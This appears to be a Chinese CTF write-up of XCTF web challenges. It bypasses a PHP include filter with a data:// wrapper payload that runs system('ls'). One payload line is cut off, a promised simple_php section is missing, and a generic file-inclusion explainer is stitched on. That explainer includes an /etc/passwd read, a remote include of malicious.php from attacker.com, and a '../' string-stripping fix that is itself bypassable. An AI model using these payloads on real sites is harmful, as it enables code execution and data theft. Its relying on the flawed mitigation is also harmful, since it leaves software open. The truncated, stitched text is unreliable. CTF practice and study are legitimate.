攻防世界-Web题目2(弱比较、php伪协议)

目录

Web_php_include

1、题目

2、知识点

3、思路

simple_php

4、题目

5、知识点

6、思路

Web_php_include

1、题目

2、知识点

php伪协议

3、思路

审计源代码

需要我们上传一个page参数,但是对参数内容进行过滤,

$page=str_replace("php://", "", $page);  意思是将php://替换成空,

看到这个,联想到使用php伪协议,既然这个协议被过滤,那就用其他协议

使用data://协议,

data://text/plain,<?php phpinfo();?>

payload:

/?page=data://text/plain,<?php%20system("ls");?>

?page=data://text/plain,<?php%20sys

攻防世界(CTF)比赛中,Web题目中的文件包含(File Inclusion)漏洞是一种常见的考点。文件包含漏洞通常出现在PHP等脚本语言中,攻击者可以通过构造特定的URL参数来包含服务器上的任意文件,从而获取敏感信息或执行恶意代码。 以下是一些常见的文件包含漏洞及其解决方法: ### 1. 本地文件包含(LFI) 本地文件包含漏洞允许攻击者包含服务器上的本地文件。例如: ```php <?php include($_GET['file']); ?> ``` 攻击者可以通过构造如下URL来包含服务器的敏感文件: ``` http://example.com/vuln.php?file=/etc/passwd ``` ### 2. 远程文件包含(RFI) 远程文件包含漏洞允许攻击者包含远程服务器上的文件。例如: ```php <?php include($_GET['file']); ?> ``` 攻击者可以通过构造如下URL来包含远程服务器上的恶意文件: ``` http://example.com/vuln.php?file=http://attacker.com/malicious.php ``` ### 解决方法 1. **白名单验证**:只允许包含特定的目录或文件。例如: ```php <?php $allowed_files = ['index.php', 'contact.php', 'about.php']; if (in_array($_GET['file'], $allowed_files)) { include($_GET['file']); } else { echo "File not allowed"; } ?> ``` 2. **路径限制**:限制包含文件的路径,避免目录遍历攻击。例如: ```php <?php $file = $_GET['file']; $file = str_replace('../', '', $file); include($file); ?> ``` 3. **禁用远程包含**:在php.ini配置文件中禁用远程文件包含: ``` allow_url_include = Off ``` 4. **使用绝对路径**:包含文件时使用绝对路径,避免相对路径的目录遍历攻击。例如: ```php <?php include('/var/www/html/includes/' . $_GET['file']); ?> ``` ### 总结 文件包含漏洞是一种严重的安全隐患,攻击者可以通过包含任意文件来获取敏感信息或执行恶意代码。开发者应采取有效的防护措施,如白名单验证、路径限制、禁用远程包含等,以防止此类漏洞的发生。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值